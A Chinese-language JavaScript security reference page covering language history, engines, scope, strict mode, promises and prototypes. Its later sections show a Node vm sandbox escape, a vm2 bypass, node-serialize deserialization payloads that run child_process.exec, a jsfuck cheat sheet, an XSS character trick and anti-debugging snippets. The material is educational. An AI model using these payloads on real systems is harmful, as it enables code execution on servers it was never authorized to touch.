# ECMAScript
# 简介
ECMAScript 是一种由 ECMA 国际通过 ECMA-262 标准化的脚本程序设计语言,它往往被称为 JavaScript 或 JScript。简单的,可以认为 ECMAScript 是 JavaScript 的一个标准,但实际上后两者是 ECMA-262 标准的实现和扩展。
# 版本
1997 年 6 月,首版发布。1998 年 6 月,进行了格式修正,以使得其形式与 ISO/IEC16262 国际标准一致。1999 年 12 月,引入强大的正则表达式,更好的词法作用域链处理,新的控制指令,异常处理,错误定义更加明确,数据输出的格式化及其它改变。而后由于关于语言的复杂性出现分歧,第 4 版本被放弃,其中的部分成为了第 5 版本及 Harmony 的基础。
2009 年 12 月,第五版发布,新增 “严格模式(strict mode)”,澄清了许多第 3 版本的模糊规范,并适应了与规范不一致的真实世界实现的行为。增加了部分新功能,如 getters 及 setters,支持 JSON 以及在对象属性上更完整的反射。
2015 年 6 月,第 6 版发布,最早被称作是 ECMAScript 6(ES6),添加了类和模块的语法,迭代器,Python 风格的生成器和生成器表达式,箭头函数,二进制数据,静态类型数组,集合(maps,sets 和 weak maps),promise,reflection 和 proxies。
2016 年 6 月,ECMAScript 2016(ES2016)发布,引入 Array.prototype.includes
、指数运算符、SIMD 等新特性。
2017 年 6 月,ECMAScript 2017(ES2017)发布,多个新的概念和语言特性。
2018 年 6 月,ECMAScript 2018 (ES2018)发布包含了异步循环,生成器,新的正则表达式特性和 rest/spread 语法。
# ES6 特性
const
/let
- 模板字面量
- 解构
[a, b] = [10, 20]
- 对象字面量简写法
for...of
循环...xxx
展开运算符- 可变参数
- 箭头函数
- 默认参数函数
- 默认值与解构
- 类
# 引擎
# V8
V8 是 Chrome 的 JavaScript 语言处理程序(VM)。其引擎由 TurboFan、Ignition 和 Liftoff 组成。其中 Turbofan 是其优化编译器,Ignition 则是其解释器,Liftoff 是 WebAssembly 的代码生成器。
# SpiderMonkey
SpiderMonkey 是 Mozilla 项目的一部分,是一个用 C/C++ 实现的 JavaScript 脚本引擎。
# JavaScriptCore
JavaScriptCore 的优化执行分为四个部分,LLInt、Baseline、DFG、FTL。LLInt 是最开始的解释执行部分,Baseline 是暂时的 JIT,DFG 阶段开始做一定的优化,FTL 阶段做了充分的优化。
# ChakraCore
ChakraCore 是一个完整的 JavaScript 虚拟机,由微软实现,用于 Edge 浏览器以及 IE 的后期版本中。
# JScript
JScript 是由微软开发的脚本语言,是微软对 ECMAScript 规范的实现,用于 IE 的早期版本中。
# JerryScript
JerryScript 是一个适用于嵌入式设备的小型 JavaScript 引擎,由三星开发并维护。
# WebAssembly
# 简介
简而言之,WASM 是一种分发要在浏览器中执行的代码的新方法。它是一种二进制语言,但是无法直接在处理器上运行。在运行时,代码被编译为中间字节代码,可以在浏览器内快速转换为机器代码,然后比传统 JavaScript 更有效地执行。
# 执行
虽然浏览器可能以不同的方式来实现 Wasm 支持,但是使用的沙盒环境通常是 JavaScript 沙箱。
在浏览器中运行时,Wasm 应用程序需要将其代码定义为单独的文件或 JavaScript 块内的字节数组。 然后使用 JavaScript 实例化文件或代码块,目前不能在没有 JavaScript 包装器的情况下直接在页面中调用 Wasm。
虽然 Wasm 可以用 C / C++ 等语言编写,但它本身不能与沙箱之外的环境进行交互。这意味着当 Wasm 应用程序想要进行输出文本等操作时,它需要调用浏览器提供的功能,然后使用浏览器在某处输出文本。
Wasm 中的内存是线性的,它在 Wasm 应用程序和 JavaScript 之间共享。 当 Wasm 函数将字符串返回给 JavaScript 时,它实际上返回一个指向 Wasm 应用程序内存空间内位置的指针。 Wasm 应用程序本身只能访问分配给它的 JavaScript 内存部分,而不是整个内存空间。
# 安全
Wasm 的设计从如下几个方面考虑来保证 Wasm 的安全性
- 保护用户免受由于无意的错误而导致漏洞的应用程序的侵害
- 保护用户免受故意编写为恶意的应用程序的侵害
- 为开发人员提供良好的缓解措施
具体的安全措施有
- Wasm 应用程序在沙箱内运行
- Wasm 无法对任意地址进行函数调用。Wasm 采用对函数进行编号的方式,编号存储在函数表中
- 间接函数调用受类型签名检查的约束
- 调用堆栈受到保护,这意味着无法覆盖返回指针
- 实现了控制流完整性,这意味着调用意外的函数将失败
# 作用域与闭包
# 作用域与作用域链
# 作用域
简单来说,作用域就是变量与函数的可访问范围,即作用域控制着变量与函数的可见性和生命周期。JavaScript 的作用域是靠函数来形成的,也就是说一个函数的变量在函数外不可以访问。
作用域可以分为全局作用域、局部作用域和块级作用域,其中全局作用域主要有以下三种情况:
- 函数外面定义的变量拥有全局作用域
- 未定义直接赋值的变量自动声明为拥有全局作用域
- window 对象的属性拥有全局作用
局部作用域一般只在固定的代码片段内可访问到,最常见的例如函数内部,所以也会把这种作用域称为函数作用域。
# 作用域泄漏
在 ES5 标准时,只有全局作用域和局部作用域,没有块级作用域,这样可能会造成变量泄漏的问题。例如:
var i = 1; | |
function f() { | |
console.log(i) | |
if (true) { | |
var i = 2; | |
} | |
} | |
f(); // undefined |
# 作用域提升(var Hoisting)
在 JavaScript 中,使用 var 在函数或全局内任何地方声明变量相当于在其内部最顶上声明它,这种行为称为 Hoisting。例如下面这段代码等效于第二段代码
function foo() { | |
console.log(x); // => undefined | |
var x = 1; | |
console.log(x); // => 1 | |
} | |
foo(); | |
function foo() { | |
var x; | |
console.log(x); // => undefined | |
x = 1; | |
console.log(x); // => 1 | |
} | |
foo(); |
# 作用域链
当函数被执行时,总是先从函数内部找寻局部变量,如果找不到相应的变量,则会向创建函数的上级作用域寻找,直到找到全局作用域为止,这个过程被称为作用域链。
# 闭包
函数与对其状态即词法环境(lexical environment)的引用共同构成闭包(closure)。也就是说,闭包可以让你从内部函数访问外部函数作用域。在 JavaScript,函数在每次创建时生成闭包。
在 JavaScript 中,并没有原生的对 private 方法的支持,即一个元素 / 方法只能被同一个类中的其它方法所调用。而闭包则是一种可以被用于模拟私有方法的方案。另外闭包也提供了管理全局命名空间的能力,避免非核心的方法或属性污染了代码的公共接口部分。下面是一个简单的例子:
var Counter = (function() { | |
var privateCounter = 0; | |
function changeBy(val) { | |
privateCounter += val; | |
} | |
return { | |
increment: function() { | |
changeBy(1); | |
}, | |
decrement: function() { | |
changeBy(-1); | |
}, | |
value: function() { | |
return privateCounter; | |
} | |
} | |
})(); | |
console.log(Counter.value()); /* logs 0 */ | |
Counter.increment(); | |
Counter.increment(); | |
console.log(Counter.value()); /* logs 2 */ | |
Counter.decrement(); | |
console.log(Counter.value()); /* logs 1 */ |
# 全局对象
全局对象是一个特殊的对象,它的作用域是全局的。
全平台可用的全局对象是 globalThis
,它跟全局作用域里的 this 值相同。另外在浏览器中存在 self
和 window
全局对象,Web Workers 中存在 self
全局对象,Node.js 中存在 global
全局对象。
# 严格模式
# 简介
在 ES5 中,除了正常的运行模式之外,添加了严格模式(strict mode),这种模式使得代码显式地脱离 “马虎模式 / 稀松模式 / 懒散模式 “(sloppy)模式在更严格的条件下运行。严格模式不仅仅是一个子集:它的产生是为了形成与正常代码不同的语义。
引入严格模式的目的主要是:
- 通过抛出错误来消除了一些原有静默错误
- 消除 JavaScript 语法的一些不合理、不严谨之处,减少一些怪异行为
- 消除代码运行的一些不安全之处,保证代码运行的安全
- 修复了一些导致 JavaScript 引擎难以执行优化的缺陷,提高编译器效率,增加运行速度
- 禁用了在 ECMAScript 的未来版本中可能会定义的一些语法,为未来新版本的 JavaScript 做铺垫
# 调用
严格模式使用 "use strict";
字符串开启。对整个脚本文件而言,可以将 "use strict"
放在脚本文件的第一行使整个脚本以严格模式运行。如果这行语句不在第一行则不会生效,会以正常模式运行。
对单个函数而言,将 "use strict"
放在函数体的第一行,则整个函数以严格模式运行。
# 行为改变
在严格模式中,主要有以下的行为更改:
# 全局变量显式声明
在正常模式中,如果一个变量没有声明就赋值,默认是全局变量。严格模式禁止这种用法,全局变量必须显式声明。
"use strict";
for(i = 0; i < 2; i++) { // ReferenceError: i is not defined
}
# 禁止使用 with 语句
with 语句无法在编译时就确定,属性到底归属哪个对象,这会影响编译效率,所以在严格模式中被禁止。
# 创设 eval 作用域
正常模式下,eval 语句的作用域,取决于它处于全局作用域,还是处于函数作用域。严格模式下,eval 语句本身就是一个作用域,不再能够生成全局变量了,它所生成的变量只能用于 eval 内部。
# 禁止删除变量
严格模式下无法删除变量。只有 configurable 设置为 true 的对象属性,才能被删除。
# 显式报错
正常模式下一些错误只会默默地失败,但是严格模式下将会报错,包括以下几种场景:
- 对一个对象的只读属性进行赋值
- 对一个使用 getter 方法读取的属性进行赋值
- 对禁止扩展的对象添加新属性
- 删除一个不可删除的属性
# 语法错误
严格模式新增了一些语法错误,包括:
- 对象不能有重名的属性
- 函数不能有重名的参数
- 禁止八进制表示法
- 函数必须声明在顶层
- 新增保留字
- class
- enum
- export
- extends
- import
- super
# 安全增强
- 禁止 this 关键字指向全局对象
- 禁止在函数内部遍历调用栈
# 限制 arguments 对象
- 不允许对 arguments 赋值
- arguments 不再追踪参数的变化
- 禁止使用 arguments.callee
# 异步机制
# async / await
async function 关键字用来在表达式中定义异步函数。
# Promise
Promise 对象是一个代理对象(代理一个值),被代理的值在 Promise 对象创建时可能是未知的。它允许你为异步操作的成功和失败分别绑定相应的处理方法(handlers)。 这让异步方法可以像同步方法那样返回值,但并不是立即返回最终执行结果,而是一个能代表未来出现的结果的 promise 对象
一个 Promise 有以下几种状态:
- pending: 初始状态,既不是成功,也不是失败状态。
- fulfilled: 意味着操作成功完成。
- rejected: 意味着操作失败。
pending 状态的 Promise 对象可能会变为 fulfilled 状态并传递一个值给相应的状态处理方法,也可能变为失败状态(rejected)并传递失败信息。当其中任一种情况出现时,Promise 对象的 then 方法绑定的处理方法(handlers )就会被调用(then 方法包含两个参数:onfulfilled 和 onrejected,它们都是 Function 类型。当 Promise 状态为 fulfilled 时,调用 then 的 onfulfilled 方法,当 Promise 状态为 rejected 时,调用 then 的 onrejected 方法, 所以在异步操作的完成和绑定处理方法之间不存在竞争)。
因为 Promise.prototype.then 和 Promise.prototype.catch 方法返回 promise 对象, 所以它们可以被链式调用。
# 执行队列
JavaScript 中的异步运行机制如下:
- 所有同步任务都在主线程上执行,形成一个执行栈
- 主线程之外,还存在一个任务队列。只要异步任务有了运行结果,就在任务队列之中放置一个事件。
- 一旦执行栈中的所有同步任务执行完毕,系统就会读取任务队列,看看里面有哪些事件。那些对应的异步任务,于是结束等待状态,进入执行栈,开始执行。
- 主线程不断重复上面的第三步。
其中浏览器的内核是多线程的,在浏览器的内核中不同的异步操作由不同的浏览器内核模块调度执行,异步操作会将相关回调添加到任务队列中。可以分为 DOM 事件、时间回调、网络回调三种:
- DOM 事件:由浏览器内核的 DOM 模块来处理,当事件触发的时候,回调函数会被添加到任务队列中。
- 时间回调:setTimeout /setInterval 等函数会由浏览器内核的 timer 模块来进行延时处理,当时间到达的时候,将回调函数添加到任务队列中。
- 网络回调:ajax /fetch 等则由浏览器内核的 network 模块来处理,在网络请求完成返回之后,才将回调添加到任务队列中。
# 原型链
# 显式原型和隐式原型
JavaScript 的原型分为显式原型(explicit prototype property)和隐式原型(implicit prototype link)。
其中显式原型指 prototype,是函数的一个属性,这个属性是一个指针,指向一个对象,显示修改对象的原型的属性,只有函数才有该属性
隐式原型指 JavaScript 中任意对象都有的内置属性 prototype。在 ES5 之前没有标准的方法访问这个内置属性,但是大多数浏览器都支持通过 __proto__
来访问。ES5 中有了对于这个内置属性标准的 Get 方法 Object.getPrototypeOf()
。
隐式原型指向创建这个对象的函数 (constructor) 的 prototype, __proto__
指向的是当前对象的原型对象,而 prototype 指向的,是以当前函数作为构造函数构造出来的对象的原型对象。
显式原型的作用用来实现基于原型的继承与属性的共享。 隐式原型的用于构成原型链,同样用于实现基于原型的继承。举个例子,当我们访问 obj 这个对象中的 x 属性时,如果在 obj 中找不到,那么就会沿着 __proto__
依次查找。
Note: Object.prototype 这个对象是个例外,它的__proto__值为null
# new 的过程
var Person = function(){};
var p = new Person();
new 的过程拆分成以下三步: - var p={};
初始化一个对象 p - p.__proto__ = Person.prototype;
- Person.call(p);
构造 p,也可以称之为初始化 p
关键在于第二步,我们来证明一下:
var Person = function(){}; | |
var p = new Person(); | |
alert(p.__proto__ === Person.prototype); |
这段代码会返回 true。说明我们步骤 2 是正确的。
# 示例
var Person = function(){}; | |
Person.prototype.sayName = function() { | |
alert("My Name is Jacky"); | |
}; | |
Person.prototype.age = 27; | |
var p = new Person(); | |
p.sayName(); |
p 是一个引用指向 Person 的对象。我们在 Person 的原型上定义了一个 sayName 方法和 age 属性,当我们执行 p.age 时,会先在 this 的内部查找(也就是构造函数内部),如果没有找到然后再沿着原型链向上追溯。
这里的向上追溯是怎么向上的呢?这里就要使用 __proto__
属性来链接到原型(也就是 Person.prototype)进行查找。最终在原型上找到了 age 属性。
# 原型链污染
如前文提到的,JavaScript 是动态继承,通过 __proto__
修改自身对象时会影响到有相同原型的对象。因此当键值对是用户可控的情况下,就可能出现原型链污染。
# 沙箱逃逸
# 前端沙箱
在前端中,可能会使用删除 eval
,重写 Function.prototype.constructor
/ GeneratorFunction
/ AsyncFunction
等方式来完成前端的沙箱。在这种情况下,可以使用创建一个新 iframe 的方式来获取新的执行环境。
# 服务端沙箱
JavaScript 提供了原生的 vm 模块,用于隔离了代码上下文环境。但是在该环境中依然可以访问标准的 JavaScript API 和全局的 NodeJS 环境。
在原生的沙箱模块中,常用的逃逸方式为:
const vm = require('vm'); | |
const sandbox = {}; | |
const whatIsThis = vm.runInNewContext(` | |
const ForeignObject = this.constructor; | |
const ForeignFunction = ForeignObject.constructor; | |
const process = ForeignFunction("return process")(); | |
const require = process.mainModule.require; | |
require("fs"); | |
`, sandbox); |
考虑到 JavaScript 原生 vm 模块的缺陷,有开发者设计了 vm2 来提供一个更安全的隔离环境,但是在旧版本中同样存在一些逃逸方式,例如:
vm.runInNewContext( | |
'Promise.resolve().then(()=>{while(1)console.log("foo", Date.now());}); while(1)console.log(Date.now())', | |
{console:{log(){console.log.apply(console,arguments);}}}, | |
{timeout:5} | |
); |
# 反序列化
# 简介
JavaScript 本身并没有反序列化的实现,但是一些库如 node-serialize、serialize-to-js 等支持了反序列化功能。这些库通常使用 JSON 形式来存储数据,但是和原生函数 JSON.parse、 JSON.stringify 不同,这些库支持任何对象的反序列化,特别是函数,如果使用不当,则可能会出现反序列化问题。
# Payload 构造
下面是一个最简单的例子,首先获得序列化后的输出
var y = { | |
rce : function(){ | |
require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); | |
}, | |
} | |
var serialize = require('node-serialize'); | |
console.log("Serialized: \n" + serialize.serialize(y)); |
上面执行后会返回
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}"}
不过这段 payload 反序列化后并不会执行,但是在 JS 中支持立即调用的函数表达式(Immediately Invoked Function Expression),比如 (function () { /* code */ } ());
这样就会执行函数中的代码。那么可以使用这种方法修改序列化后的字符串来完成一次反序列化。最后的 payload 测试如下:
var serialize = require('node-serialize'); | |
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}'; | |
serialize.unserialize(payload); |
# Payload 构造 II
以上提到的是 node-serialize 这类反序列化库的构造方式,还有一类库如 funcster,是使用直接拼接字符串构造函数的方式来执行。
return "module.exports=(function(module,exports){return{" + entries + "};})();";
这种方式可以使用相应的闭合来构造 payload。
# jsfuck cheat sheet
# Basic values
undefined
>[][[]]
false
>![]
true
>!![]
NaN
>+[![]]
0
>+[]
1
>+!+[]
2
>!+[]+!+[]
# Basic strings
''
>[]+[]
'undefined'
>[]+[][[]]
'false'
>[]+![]
'true'
>[]+!![]
'NaN'
>[]+(+[![]])
'0'
>[]+(+[])
'1'
>[]+(+!+[])
'2'
>[]+(!+[]+!+[])
'10'
>[+!+[]]+[+[]]
'11'
>[+!+[]]+[+!+[]]
'100'
>[+!+[]]+[+[]]+(+[])
# Higher numbers
10
>+([+!+[]]+[+[]])
11
>+([+!+[]]+[+!+[]])
100
>+([+!+[]]+[+[]]+(+[]))
# String alphabet
'a'
>([]+![])[+!+[]]
'd'
>([]+[][[]])[+!+[]+!+[]]
'e'
>([]+!+[])[+!+[]+!+[]+!+[]]
'f'
>([]+![])[+[]]
'i'
>([]+[][[]])[+!+[]+!+[]+!+[]+!+[]+!+[]]
'l'
>([]+![])[+!+[]+!+[]]
'n'
>([]+[][[]])[+!+[]]
'r'
>([]+!+[])[+!+[]]
's'
>([]+![])[+!+[]+!+[]+!+[]]
't'
>([]+!+[])[+[]]
'u'
>([]+!+[])[+!+[]+!+[]]
# Trick
# 通过正则表达式构造特定字符
empty = RegExp.prototype.flags | |
regSource = { ...RegExp.prototype.source } | |
regSource.toString = Array.prototype.shift | |
regSource.length = 4 | |
left = regSource + empty // 生成 ( | |
quest = regSource + empty // 生成? | |
colon = regSource + empty // 生成 : | |
right = regSource + empty // 生成 ) | |
xss = {} | |
xss.source = 'xss' | |
xss.flags = 'a' | |
xss.toString = RegExp.prototype.toString | |
xss + "" // => /xss/a |
# 其他
# 命令执行
Node.js 中 child_process.exec 命令调用的是 /bin/sh
,故可以直接使用该命令执行 shell
# 反调试技巧
- 函数重定义
console.log = function(a){}
- 定时断点
setInterval(function(){debugger}, 1000);
# 对象拷贝
JavaScript 中的对象拷贝分为浅拷贝和深拷贝。
浅拷贝对一个对象进行拷贝时,仅仅拷贝对象的引用进行拷贝,但是拷贝对象和源对象还是引用同一份实体。其中一个对象的改变都会影响到另一个对象。
深拷贝拷贝一个对象时,不仅仅把对象的引用进行复制,还把该对象引用的值也一起拷贝。源对象与拷贝对象互相独立,其中任何一个对象的改动都不会对另外一个对象造成影响。
深拷贝可以基于 for-in
/ object.assign()
/ 拓展运算符 ...
/ JSON.parse(JSON.stringify())
等方式实现。其中前三种方式只对第一层做深拷贝,若对象结构较为复杂,则需要用递归的方式对更深的层次进行拷贝。
# 常见 Sink
- child_process
- eval
- exec
- execSync
# 参考链接
- JavaScript 反调试技巧
- ECMAScript Language Specification
- js prototype
- javascript 防劫持
- XSS 前端防火墙
- exploiting node js deserialization bug for remote code execution
- Prototype pollution attack Content released at NorthSec 2018 on prototype pollution